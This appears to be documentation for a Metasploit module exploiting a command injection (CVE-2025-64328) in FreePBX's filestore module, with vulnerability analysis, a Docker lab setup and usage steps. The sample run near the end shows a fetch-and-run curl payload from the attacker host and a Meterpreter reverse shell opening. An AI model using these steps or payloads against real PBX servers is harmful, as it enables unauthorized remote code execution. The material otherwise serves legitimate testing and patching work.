## Vulnerable Application

FreePBX is an open-source web-based graphical user interface for managing Asterisk. This module exploits an authenticated command injection
vulnerability (CVE-2025-64328) in the FreePBX filestore module.

The vulnerability exists in the SSH driver's testconnection functionality, specifically in the `check_ssh_connect()` function located at
`/admin/modules/filestore/drivers/SSH/testconnection.php`. The function accepts user-controlled input for the SSH key path parameter, which
is then passed unsanitized to `exec()` calls when generating SSH keys.

By injecting shell command substitution syntax (e.g., `$(command)`) into the key parameter, an authenticated user can execute arbitrary
commands on the underlying system with the privileges of the web server process (typically the asterisk user).

This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in 17.0.2.36, patched in 17.0.3). The module
requires valid FreePBX credentials for a user account that has access to the filestore module. The user must be in the "Filestore" group
(administrator or low-privilege user).

## Vulnerability Analysis

The vulnerability was introduced in filestore module version 17.0.2.36 when the `testconnection.php` file was first added to provide
SSH connection testing functionality (commit: e4ec96ab - "Filestore: Add Connection testing"). The initial implementation contained
multiple `exec()` calls that used user-controlled input without proper sanitization:

1. **Line 9**: `exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");`
   - The `$key` parameter is directly interpolated into the command string without sanitization.

2. **Line 12**: `exec("ssh-keygen -y -f $key > $publickey");`
   - The `$key` parameter is again used without sanitization, causing the injected command to execute a second time.

Due to this code structure, the injected command is executed multiple times within the `check_ssh_connect()` function, potentially
resulting in multiple Meterpreter sessions being opened.

The fix was implemented in version 17.0.3, which added comprehensive input validation and sanitization functions
(`validate_and_sanitize_key()`, `validate_and_sanitize_host()`, `validate_and_sanitize_user()`, `validate_and_sanitize_path()`) and used
`escapeshellarg()` for all parameters passed to `exec()`.

The following FreePBX version has been tested:

- FreePBX 17 with filestore module 17.0.2.44

## Testing

To set up a test environment using Docker:

1. Create a `docker-compose.yml` file with the following content:
```yaml
services:
  mariadb:
    image: mariadb:10.11
    container_name: freepbx-db
    restart: unless-stopped
    environment:
      MYSQL_ROOT_PASSWORD: changeme-root
      MYSQL_DATABASE: asterisk
      MYSQL_USER: freepbx
      MYSQL_PASSWORD: changeme-db
    volumes:
      - db-data:/var/lib/mysql
    networks:
      - freepbx-net

  freepbx:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: freepbx-app
    depends_on:
      - mariadb
    restart: unless-stopped
    ports:
      - "18080:80"
      - "18443:443"
      - "5060:5060/udp"
    environment:
      MYSQL_ROOT_PASSWORD: changeme-root
      MYSQL_DATABASE: asterisk
      MYSQL_USER: freepbx
      MYSQL_PASSWORD: changeme-db
      MYSQL_HOST: mariadb
      FILESTORE_VERSION: 17.0.2.44
      ADMIN_USER: admin
      ADMIN_PASS: admin
      LOWPRIV_USER: lowpriv
      LOWPRIV_PASS: lowpriv123
    volumes:
      - freepbx-data:/var
      - freepbx-log:/var/log
    cap_add:
      - NET_ADMIN
    networks:
      - freepbx-net

volumes:
  db-data:
  freepbx-data:
  freepbx-log:

networks:
  freepbx-net:
    driver: bridge
```

2. Create a `Dockerfile`:
```dockerfile
FROM escomputers/freepbx:17

COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh

RUN mkdir -p /var/www/html/admin/assets/less/cache && chown -R asterisk:asterisk /var/www/html/admin/assets/less/cache && chmod -R 777 /var/www/html/admin/assets/less/cache || true

ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
```

3. Create an `entrypoint.sh` script:
```bash
#!/bin/bash
DB_HOST=${MYSQL_HOST:-mariadb}
DB_USER=${MYSQL_USER:-freepbx}
DB_PASS=${MYSQL_PASSWORD:-changeme-db}
DB_NAME=${MYSQL_DATABASE:-asterisk}
FILESTORE_VERSION=${FILESTORE_VERSION:-17.0.2.44}
ADMIN_USER=${ADMIN_USER:-admin}
ADMIN_PASS=${ADMIN_PASS:-admin}
LOWPRIV_USER=${LOWPRIV_USER:-lowpriv}
LOWPRIV_PASS=${LOWPRIV_PASS:-lowpriv123}
(
    for i in {1..60}; do
        mysqladmin ping -h $DB_HOST -u $DB_USER -p$DB_PASS --silent 2>/dev/null && break
        sleep 2
    done
    for i in {1..120}; do
        asterisk -rx "core show version" >/dev/null 2>&1 && break
        sleep 2
    done
    [ ! -f /etc/freepbx.conf ] && cd /usr/local/src/freepbx && php install -n --dbuser=$DB_USER --dbpass=$DB_PASS --dbhost=$DB_HOST >/dev/null 2>&1
    for i in {1..60}; do
        command -v fwconsole >/dev/null 2>&1 && fwconsole ma list >/dev/null 2>&1 && break
        sleep 5
    done
    if ! fwconsole ma list 2>/dev/null | grep -q "filestore.*$FILESTORE_VERSION"; then
        fwconsole ma download filestore --tag=$FILESTORE_VERSION --force >/dev/null 2>&1
        fwconsole ma install filestore --force >/dev/null 2>&1
        fwconsole ma enable filestore >/dev/null 2>&1
    fi
    fwconsole ma list 2>/dev/null | grep -q "userman" || (fwconsole ma downloadinstall userman >/dev/null 2>&1; fwconsole ma enable userman >/dev/null 2>&1)
    sleep 10
    mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$ADMIN_USER', SHA1('$ADMIN_PASS'), '*');" >/dev/null 2>&1
    mysql -h $DB_HOST -u $DB_USER -p$DB_PASS $DB_NAME -e "INSERT IGNORE INTO ampusers (username, password_sha1, sections) VALUES ('$LOWPRIV_USER', SHA1('$LOWPRIV_PASS'), 'filestore');" >/dev/null 2>&1
) &
exec /usr/bin/env bash /usr/local/src/entrypoint.sh "$@"
```

Make sure to make the script executable: `chmod +x entrypoint.sh`

4. Run `docker compose up -d` to start the environment. Wait ~2 minutes for FreePBX to fully initialize (install modules, create users).

5. The entrypoint automatically provisions two users: `admin`/`admin` (full access) and `lowpriv`/`lowpriv123` (filestore only).

6. Follow the verification steps below.

## Options

### USERNAME

The FreePBX username. This can be a low-privilege user, but the user must be in the "Filestore" group to have access to the filestore
module. Default: `admin`

### PASSWORD

The FreePBX password. This must be set to a valid password.

## Verification Steps

1. Start msfconsole
2. `use exploit/unix/http/freepbx_filestore_cmd_injection`
3. `set RHOSTS <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>` (default: 80)
5. `set USERNAME <USERNAME>`
6. `set PASSWORD <PASSWORD>`
7. `set LHOST <YOUR_IP>`
8. `run`

## Scenarios

### Using a Low-Privilege User

The module works with low-privilege users that are in the "Filestore" group and have access to the filestore module:

```
msf exploit(unix/http/freepbx_filestore_cmd_injection) > run
[*] Command to run on remote host: curl -so ./MscaNzRKZxn http://172.24.0.1:8080/a_wPTF3QFDQmW1loFQm32w;chmod +x ./MscaNzRKZxn;./MscaNzRKZxn&
[*] Fetch handler listening on 172.24.0.1:8080
[*] HTTP server started
[*] Adding resource /a_wPTF3QFDQmW1loFQm32w
[*] Started reverse TCP handler on 172.24.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable filestore version 17.0.2.44 detected
[*] Filestore module version: 17.0.2.44
[*] Client 172.24.0.3 requested /a_wPTF3QFDQmW1loFQm32w
[*] Sending payload to 172.24.0.3 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.24.0.3
[*] Meterpreter session 20 opened (172.24.0.1:4444 -> 172.24.0.3:59384) at 2025-11-23 00:26:55 +0100

meterpreter > sysinfo
Computer     : 172.24.0.3
OS           : Debian 12.12 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: asterisk
meterpreter > 
```

